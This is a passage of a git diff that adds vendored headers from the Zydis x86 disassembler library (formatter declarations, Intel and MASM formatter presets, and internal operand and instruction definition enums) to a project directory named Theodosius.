ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZydisFormatterToken* const last = (ZydisFormatterToken*)buffer->string.vector.data - 1; + last->next = (ZyanU8)len; + + ZYAN_MEMCPY((ZyanU8*)buffer->string.vector.data + len, &data->data[0], data->size); + + const ZyanUSize delta = len + data->next; + buffer->capacity -= delta; + buffer->string.vector.data = (ZyanU8*)buffer->string.vector.data + delta; + buffer->string.vector.size = data->size - data->next; + buffer->string.vector.capacity = ZYAN_MIN(buffer->capacity, 255); + + return ZYAN_STATUS_SUCCESS; +} + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the size to be used as explicit size suffix (`AT&T`) or explicit typecast + * (`INTEL`), if required. + * + * @param formatter A pointer to the `ZydisFormatter` instance. + * @param context A pointer to the `ZydisFormatterContext` struct. + * @param memop_id The operand-id of the instructions first memory operand. + * + * @return Returns the explicit size, if required, or `0`, if not needed. + * + * This function always returns a size different to `0`, if the `ZYDIS_FORMATTER_PROP_FORCE_SIZE` + * is set to `ZYAN_TRUE`. + */ +ZyanU32 ZydisFormatterHelperGetExplicitSize(const ZydisFormatter* formatter, + ZydisFormatterContext* context, ZyanU8 memop_id); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Formatter functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Operands */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterBaseFormatOperandREG(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBaseFormatOperandPTR(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBaseFormatOperandIMM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Elemental tokens */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterBasePrintAddressABS(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintAddressREL(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintIMM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* Optional tokens */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterBasePrintSegment(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintPrefixes(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterBasePrintDecorator(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisDecorator decorator); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_FORMATTER_BASE_H diff --git a/Theodosius/Zydis/Internal/FormatterIntel.h b/Theodosius/Zydis/Internal/FormatterIntel.h new file mode 100644 index 0000000..cd12d38 --- /dev/null +++ b/Theodosius/Zydis/Internal/FormatterIntel.h @@ -0,0 +1,267 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements the `INTEL` style instruction-formatter. + */ + +#ifndef ZYDIS_FORMATTER_INTEL_H +#define ZYDIS_FORMATTER_INTEL_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Formatter functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Intel */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterIntelFormatInstruction(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelFormatOperandMEM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintMnemonic(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintRegister(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context, ZydisRegister reg); + +ZyanStatus ZydisFormatterIntelPrintDISP(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintTypecast(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ +/* MASM */ +/* ---------------------------------------------------------------------------------------------- */ + +ZyanStatus ZydisFormatterIntelFormatInstructionMASM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +ZyanStatus ZydisFormatterIntelPrintAddressMASM(const ZydisFormatter* formatter, + ZydisFormatterBuffer* buffer, ZydisFormatterContext* context); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Fomatter presets */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* INTEL */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The default formatter configuration for `INTEL` style disassembly. + */ +static const ZydisFormatter FORMATTER_INTEL = +{ + /* style */ ZYDIS_FORMATTER_STYLE_INTEL, + /* force_memory_size */ ZYAN_FALSE, + /* force_memory_seg */ ZYAN_FALSE, + /* force_relative_branches */ ZYAN_FALSE, + /* force_relative_riprel */ ZYAN_FALSE, + /* print_branch_size */ ZYAN_FALSE, + /* detailed_prefixes */ ZYAN_FALSE, + /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, + /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* addr_padding_absolute */ ZYDIS_PADDING_AUTO, + /* addr_padding_relative */ 2, + /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, + /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* disp_padding */ 2, + /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, + /* imm_signedness */ ZYDIS_SIGNEDNESS_UNSIGNED, + /* imm_padding */ 2, + /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, + /* hex_uppercase */ ZYAN_TRUE, + /* number_format */ + { + // ZYDIS_NUMERIC_BASE_DEC + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + }, + // ZYDIS_NUMERIC_BASE_HEX + { + // Prefix + { + /* string */ &FORMATTER_INTEL.number_format[ + ZYDIS_NUMERIC_BASE_HEX][0].string_data, + /* string_data */ ZYAN_DEFINE_STRING_VIEW("0x"), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + } + }, + /* func_pre_instruction */ ZYAN_NULL, + /* func_post_instruction */ ZYAN_NULL, + /* func_format_instruction */ &ZydisFormatterIntelFormatInstruction, + /* func_pre_operand */ ZYAN_NULL, + /* func_post_operand */ ZYAN_NULL, + /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, + /* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM, + /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, + /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, + /* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic, + /* func_print_register */ &ZydisFormatterIntelPrintRegister, + /* func_print_address_abs */ &ZydisFormatterBasePrintAddressABS, + /* func_print_address_rel */ &ZydisFormatterBasePrintAddressREL, + /* func_print_disp */ &ZydisFormatterIntelPrintDISP, + /* func_print_imm */ &ZydisFormatterBasePrintIMM, + /* func_print_typecast */ &ZydisFormatterIntelPrintTypecast, + /* func_print_segment */ &ZydisFormatterBasePrintSegment, + /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, + /* func_print_decorator */ &ZydisFormatterBasePrintDecorator +}; + +/* ---------------------------------------------------------------------------------------------- */ +/* MASM */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The default formatter configuration for `MASM` style disassembly. + */ +static const ZydisFormatter FORMATTER_INTEL_MASM = +{ + /* style */ ZYDIS_FORMATTER_STYLE_INTEL_MASM, + /* force_memory_size */ ZYAN_TRUE, + /* force_memory_seg */ ZYAN_FALSE, + /* force_relative_branches */ ZYAN_FALSE, + /* force_relative_riprel */ ZYAN_FALSE, + /* print_branch_size */ ZYAN_FALSE, + /* detailed_prefixes */ ZYAN_FALSE, + /* addr_base */ ZYDIS_NUMERIC_BASE_HEX, + /* addr_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* addr_padding_absolute */ ZYDIS_PADDING_DISABLED, + /* addr_padding_relative */ ZYDIS_PADDING_DISABLED, + /* disp_base */ ZYDIS_NUMERIC_BASE_HEX, + /* disp_signedness */ ZYDIS_SIGNEDNESS_SIGNED, + /* disp_padding */ ZYDIS_PADDING_DISABLED, + /* imm_base */ ZYDIS_NUMERIC_BASE_HEX, + /* imm_signedness */ ZYDIS_SIGNEDNESS_AUTO, + /* imm_padding */ ZYDIS_PADDING_DISABLED, + /* case_prefixes */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_mnemonic */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_registers */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_typecasts */ ZYDIS_LETTER_CASE_DEFAULT, + /* case_decorators */ ZYDIS_LETTER_CASE_DEFAULT, + /* hex_uppercase */ ZYAN_TRUE, + /* number_format */ + { + // ZYDIS_NUMERIC_BASE_DEC + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + }, + // ZYDIS_NUMERIC_BASE_HEX + { + // Prefix + { + /* string */ ZYAN_NULL, + /* string_data */ ZYAN_DEFINE_STRING_VIEW(""), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + }, + // Suffix + { + /* string */ &FORMATTER_INTEL_MASM.number_format[ + ZYDIS_NUMERIC_BASE_HEX][1].string_data, + /* string_data */ ZYAN_DEFINE_STRING_VIEW("h"), + /* buffer */ { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, + } + } + }, + /* func_pre_instruction */ ZYAN_NULL, + /* func_post_instruction */ ZYAN_NULL, + /* func_format_instruction */ &ZydisFormatterIntelFormatInstructionMASM, + /* func_pre_operand */ ZYAN_NULL, + /* func_post_operand */ ZYAN_NULL, + /* func_format_operand_reg */ &ZydisFormatterBaseFormatOperandREG, + /* func_format_operand_mem */ &ZydisFormatterIntelFormatOperandMEM, + /* func_format_operand_ptr */ &ZydisFormatterBaseFormatOperandPTR, + /* func_format_operand_imm */ &ZydisFormatterBaseFormatOperandIMM, + /* func_print_mnemonic */ &ZydisFormatterIntelPrintMnemonic, + /* func_print_register */ &ZydisFormatterIntelPrintRegister, + /* func_print_address_abs */ &ZydisFormatterIntelPrintAddressMASM, + /* func_print_address_rel */ &ZydisFormatterIntelPrintAddressMASM, + /* func_print_disp */ &ZydisFormatterIntelPrintDISP, + /* func_print_imm */ &ZydisFormatterBasePrintIMM, + /* func_print_typecast */ &ZydisFormatterIntelPrintTypecast, + /* func_print_segment */ &ZydisFormatterBasePrintSegment, + /* func_print_prefixes */ &ZydisFormatterBasePrintPrefixes, + /* func_print_decorator */ &ZydisFormatterBasePrintDecorator +}; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_FORMATTER_INTEL_H diff --git a/Theodosius/Zydis/Internal/SharedData.h b/Theodosius/Zydis/Internal/SharedData.h new file mode 100644 index 0000000..d8db4fb --- /dev/null +++ b/Theodosius/Zydis/Internal/SharedData.h @@ -0,0 +1,974 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +#ifndef ZYDIS_INTERNAL_SHAREDDATA_H +#define ZYDIS_INTERNAL_SHAREDDATA_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +// MSVC does not like types other than (un-)signed int for bit-fields +#ifdef ZYAN_MSVC +# pragma warning(push) +# pragma warning(disable:4214) +#endif + +#pragma pack(push, 1) + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisSemanticOperandType` enum. + */ +typedef enum ZydisSemanticOperandType_ +{ + ZYDIS_SEMANTIC_OPTYPE_UNUSED, + ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_REG, + ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_MEM, + ZYDIS_SEMANTIC_OPTYPE_IMPLICIT_IMM1, + ZYDIS_SEMANTIC_OPTYPE_GPR8, + ZYDIS_SEMANTIC_OPTYPE_GPR16, + ZYDIS_SEMANTIC_OPTYPE_GPR32, + ZYDIS_SEMANTIC_OPTYPE_GPR64, + ZYDIS_SEMANTIC_OPTYPE_GPR16_32_64, + ZYDIS_SEMANTIC_OPTYPE_GPR32_32_64, + ZYDIS_SEMANTIC_OPTYPE_GPR16_32_32, + ZYDIS_SEMANTIC_OPTYPE_GPR_ASZ, + ZYDIS_SEMANTIC_OPTYPE_FPR, + ZYDIS_SEMANTIC_OPTYPE_MMX, + ZYDIS_SEMANTIC_OPTYPE_XMM, + ZYDIS_SEMANTIC_OPTYPE_YMM, + ZYDIS_SEMANTIC_OPTYPE_ZMM, + ZYDIS_SEMANTIC_OPTYPE_TMM, + ZYDIS_SEMANTIC_OPTYPE_BND, + ZYDIS_SEMANTIC_OPTYPE_SREG, + ZYDIS_SEMANTIC_OPTYPE_CR, + ZYDIS_SEMANTIC_OPTYPE_DR, + ZYDIS_SEMANTIC_OPTYPE_MASK, + ZYDIS_SEMANTIC_OPTYPE_MEM, + ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBX, + ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBY, + ZYDIS_SEMANTIC_OPTYPE_MEM_VSIBZ, + ZYDIS_SEMANTIC_OPTYPE_IMM, + ZYDIS_SEMANTIC_OPTYPE_REL, + ZYDIS_SEMANTIC_OPTYPE_PTR, + ZYDIS_SEMANTIC_OPTYPE_AGEN, + ZYDIS_SEMANTIC_OPTYPE_MOFFS, + ZYDIS_SEMANTIC_OPTYPE_MIB, + + /** + * Maximum value of this enum. + */ + ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE = ZYDIS_SEMANTIC_OPTYPE_MIB, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_SEMANTIC_OPTYPE_MAX_VALUE) +} ZydisSemanticOperandType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInternalElementType` enum. + */ +typedef enum ZydisInternalElementType_ +{ + ZYDIS_IELEMENT_TYPE_INVALID, + ZYDIS_IELEMENT_TYPE_VARIABLE, + ZYDIS_IELEMENT_TYPE_STRUCT, + ZYDIS_IELEMENT_TYPE_INT, + ZYDIS_IELEMENT_TYPE_UINT, + ZYDIS_IELEMENT_TYPE_INT1, + ZYDIS_IELEMENT_TYPE_INT8, + ZYDIS_IELEMENT_TYPE_INT16, + ZYDIS_IELEMENT_TYPE_INT32, + ZYDIS_IELEMENT_TYPE_INT64, + ZYDIS_IELEMENT_TYPE_UINT8, + ZYDIS_IELEMENT_TYPE_UINT16, + ZYDIS_IELEMENT_TYPE_UINT32, + ZYDIS_IELEMENT_TYPE_UINT64, + ZYDIS_IELEMENT_TYPE_UINT128, + ZYDIS_IELEMENT_TYPE_UINT256, + ZYDIS_IELEMENT_TYPE_FLOAT16, + ZYDIS_IELEMENT_TYPE_FLOAT32, + ZYDIS_IELEMENT_TYPE_FLOAT64, + ZYDIS_IELEMENT_TYPE_FLOAT80, + ZYDIS_IELEMENT_TYPE_BCD80, + ZYDIS_IELEMENT_TYPE_CC3, + ZYDIS_IELEMENT_TYPE_CC5, + + /** + * Maximum value of this enum. + */ + ZYDIS_IELEMENT_TYPE_MAX_VALUE = ZYDIS_IELEMENT_TYPE_CC5, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_TYPE_MAX_VALUE) +} ZydisInternalElementType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisImplicitRegisterType` enum. + */ +typedef enum ZydisImplicitRegisterType_ +{ + ZYDIS_IMPLREG_TYPE_STATIC, + ZYDIS_IMPLREG_TYPE_GPR_OSZ, + ZYDIS_IMPLREG_TYPE_GPR_ASZ, + ZYDIS_IMPLREG_TYPE_GPR_SSZ, + ZYDIS_IMPLREG_TYPE_IP_ASZ, + ZYDIS_IMPLREG_TYPE_IP_SSZ, + ZYDIS_IMPLREG_TYPE_FLAGS_SSZ, + + /** + * Maximum value of this enum. + */ + ZYDIS_IMPLREG_TYPE_MAX_VALUE = ZYDIS_IMPLREG_TYPE_FLAGS_SSZ, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IMPLREG_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLREG_TYPE_MAX_VALUE) +} ZydisImplicitRegisterType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisImplicitMemBase` enum. + */ +typedef enum ZydisImplicitMemBase_ +{ + ZYDIS_IMPLMEM_BASE_AGPR_REG, + ZYDIS_IMPLMEM_BASE_AGPR_RM, + ZYDIS_IMPLMEM_BASE_AAX, + ZYDIS_IMPLMEM_BASE_ADX, + ZYDIS_IMPLMEM_BASE_ABX, + ZYDIS_IMPLMEM_BASE_ASP, + ZYDIS_IMPLMEM_BASE_ABP, + ZYDIS_IMPLMEM_BASE_ASI, + ZYDIS_IMPLMEM_BASE_ADI, + + /** + * Maximum value of this enum. + */ + ZYDIS_IMPLMEM_BASE_MAX_VALUE = ZYDIS_IMPLMEM_BASE_ADI, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IMPLMEM_BASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IMPLMEM_BASE_MAX_VALUE) +} ZydisImplicitMemBase; + +/* ---------------------------------------------------------------------------------------------- */ + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ACTION_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_REGISTER_REQUIRED_BITS <= 16); +ZYAN_STATIC_ASSERT(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisOperandDefinition` struct. + */ +typedef struct ZydisOperandDefinition_ +{ + ZyanU8 type ZYAN_BITFIELD(ZYDIS_SEMANTIC_OPTYPE_REQUIRED_BITS); + ZyanU8 visibility ZYAN_BITFIELD(ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS); + ZyanU8 actions ZYAN_BITFIELD(ZYDIS_OPERAND_ACTION_REQUIRED_BITS); + ZyanU16 size[3]; + ZyanU8 element_type ZYAN_BITFIELD(ZYDIS_IELEMENT_TYPE_REQUIRED_BITS); + union + { + ZyanU8 encoding ZYAN_BITFIELD(ZYDIS_OPERAND_ENCODING_REQUIRED_BITS); + struct + { + ZyanU8 type ZYAN_BITFIELD(ZYDIS_IMPLREG_TYPE_REQUIRED_BITS); + union + { + ZyanU16 reg ZYAN_BITFIELD(ZYDIS_REGISTER_REQUIRED_BITS); + ZyanU8 id ZYAN_BITFIELD(6); + } reg; + } reg; + struct + { + ZyanU8 seg ZYAN_BITFIELD(3); + ZyanU8 base ZYAN_BITFIELD(ZYDIS_IMPLMEM_BASE_REQUIRED_BITS); + } mem; + } op; +} ZydisOperandDefinition; + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisReadWriteAction` enum. + */ +typedef enum ZydisReadWriteAction_ +{ + ZYDIS_RW_ACTION_NONE, + ZYDIS_RW_ACTION_READ, + ZYDIS_RW_ACTION_WRITE, + ZYDIS_RW_ACTION_READWRITE, + + /** + * Maximum value of this enum. + */ + ZYDIS_RW_ACTION_MAX_VALUE = ZYDIS_RW_ACTION_READWRITE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_RW_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_RW_ACTION_MAX_VALUE) +} ZydisReadWriteAction; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterConstraint` enum. + */ +typedef enum ZydisRegisterConstraint_ +{ + ZYDIS_REG_CONSTRAINTS_UNUSED, + ZYDIS_REG_CONSTRAINTS_NONE, + ZYDIS_REG_CONSTRAINTS_GPR, + ZYDIS_REG_CONSTRAINTS_SR_DEST, + ZYDIS_REG_CONSTRAINTS_SR, + ZYDIS_REG_CONSTRAINTS_CR, + ZYDIS_REG_CONSTRAINTS_DR, + ZYDIS_REG_CONSTRAINTS_MASK, + ZYDIS_REG_CONSTRAINTS_BND, + ZYDIS_REG_CONSTRAINTS_VSIB, + ZYDIS_REG_CONSTRAINTS_NO_REL, + + /** + * Maximum value of this enum. + */ + ZYDIS_REG_CONSTRAINTS_MAX_VALUE = ZYDIS_REG_CONSTRAINTS_NO_REL, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REG_CONSTRAINTS_MAX_VALUE) +} ZydisRegisterConstraint; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInternalVectorLength` enum. + */ +typedef enum ZydisInternalVectorLength_ +{ + ZYDIS_IVECTOR_LENGTH_DEFAULT, + ZYDIS_IVECTOR_LENGTH_FIXED_128, + ZYDIS_IVECTOR_LENGTH_FIXED_256, + ZYDIS_IVECTOR_LENGTH_FIXED_512, + + /** + * Maximum value of this enum. + */ + ZYDIS_IVECTOR_LENGTH_MAX_VALUE = ZYDIS_IVECTOR_LENGTH_FIXED_512, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IVECTOR_LENGTH_MAX_VALUE) +} ZydisInternalVectorLength; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInternalElementSize` enum. + */ +typedef enum ZydisInternalElementSize_ +{ + ZYDIS_IELEMENT_SIZE_INVALID, + ZYDIS_IELEMENT_SIZE_8, + ZYDIS_IELEMENT_SIZE_16, + ZYDIS_IELEMENT_SIZE_32, + ZYDIS_IELEMENT_SIZE_64, + ZYDIS_IELEMENT_SIZE_128, + + /** + * Maximum value of this enum. + */ + ZYDIS_IELEMENT_SIZE_MAX_VALUE = ZYDIS_IELEMENT_SIZE_128, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_IELEMENT_SIZE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_IELEMENT_SIZE_MAX_VALUE) +} ZydisInternalElementSize; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisEVEXFunctionality` enum. + */ +typedef enum ZydisEVEXFunctionality_ +{ + ZYDIS_EVEX_FUNC_INVALID, + /** + * `EVEX.b` enables broadcast functionality. + */ + ZYDIS_EVEX_FUNC_BC, + /** + * `EVEX.b` enables embedded-rounding functionality. + */ + ZYDIS_EVEX_FUNC_RC, + /** + * `EVEX.b` enables sae functionality. + */ + ZYDIS_EVEX_FUNC_SAE, + + /** + * Maximum value of this enum. + */ + ZYDIS_EVEX_FUNC_MAX_VALUE = ZYDIS_EVEX_FUNC_SAE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_EVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_FUNC_MAX_VALUE) +} ZydisEVEXFunctionality; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisEVEXTupleType` enum. + */ +typedef enum ZydisEVEXTupleType_ +{ + ZYDIS_TUPLETYPE_INVALID, + /** + * Full Vector + */ + ZYDIS_TUPLETYPE_FV, + /** + * Half Vector + */ + ZYDIS_TUPLETYPE_HV, + /** + * Full Vector Mem + */ + ZYDIS_TUPLETYPE_FVM, + /** + * Tuple1 Scalar + */ + ZYDIS_TUPLETYPE_T1S, + /** + * Tuple1 Fixed + */ + ZYDIS_TUPLETYPE_T1F, + /** + * Tuple1 4x32 + */ + ZYDIS_TUPLETYPE_T1_4X, + /** + * Gather / Scatter + */ + ZYDIS_TUPLETYPE_GSCAT, + /** + * Tuple2 + */ + ZYDIS_TUPLETYPE_T2, + /** + * Tuple4 + */ + ZYDIS_TUPLETYPE_T4, + /** + * Tuple8 + */ + ZYDIS_TUPLETYPE_T8, + /** + * Half Mem + */ + ZYDIS_TUPLETYPE_HVM, + /** + * QuarterMem + */ + ZYDIS_TUPLETYPE_QVM, + /** + * OctMem + */ + ZYDIS_TUPLETYPE_OVM, + /** + * Mem128 + */ + ZYDIS_TUPLETYPE_M128, + /** + * MOVDDUP + */ + ZYDIS_TUPLETYPE_DUP, + + /** + * Maximum value of this enum. + */ + ZYDIS_TUPLETYPE_MAX_VALUE = ZYDIS_TUPLETYPE_DUP, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_TUPLETYPE_REQUIRED_BITS = 